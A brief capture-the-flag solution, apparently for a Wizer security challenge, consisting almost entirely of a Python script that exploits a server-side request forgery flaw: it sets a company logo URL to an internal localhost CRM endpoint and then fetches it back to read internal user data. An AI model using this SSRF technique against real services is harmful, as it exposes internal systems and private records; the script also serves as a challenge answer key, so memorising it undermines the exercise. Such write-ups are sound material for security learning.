Wizer - Challenge 13 - SSRF

Exploit

import requests

url = "https://chal13.vercel.app"


# /getCompanyLogo


r = requests.post(url + "/setCompanyLogo", json={
    "companyId": "abababab-abab-0aba-Abab-abababababab",
    "imageUrl": "http://localhost:4001/CRMUsers"
})


print(r.text)



r = requests.post(url + "/getCompanyLogo", json={
    "companyId": "abababab-abab-0aba-Abab-abababababab"
})


print(r.text)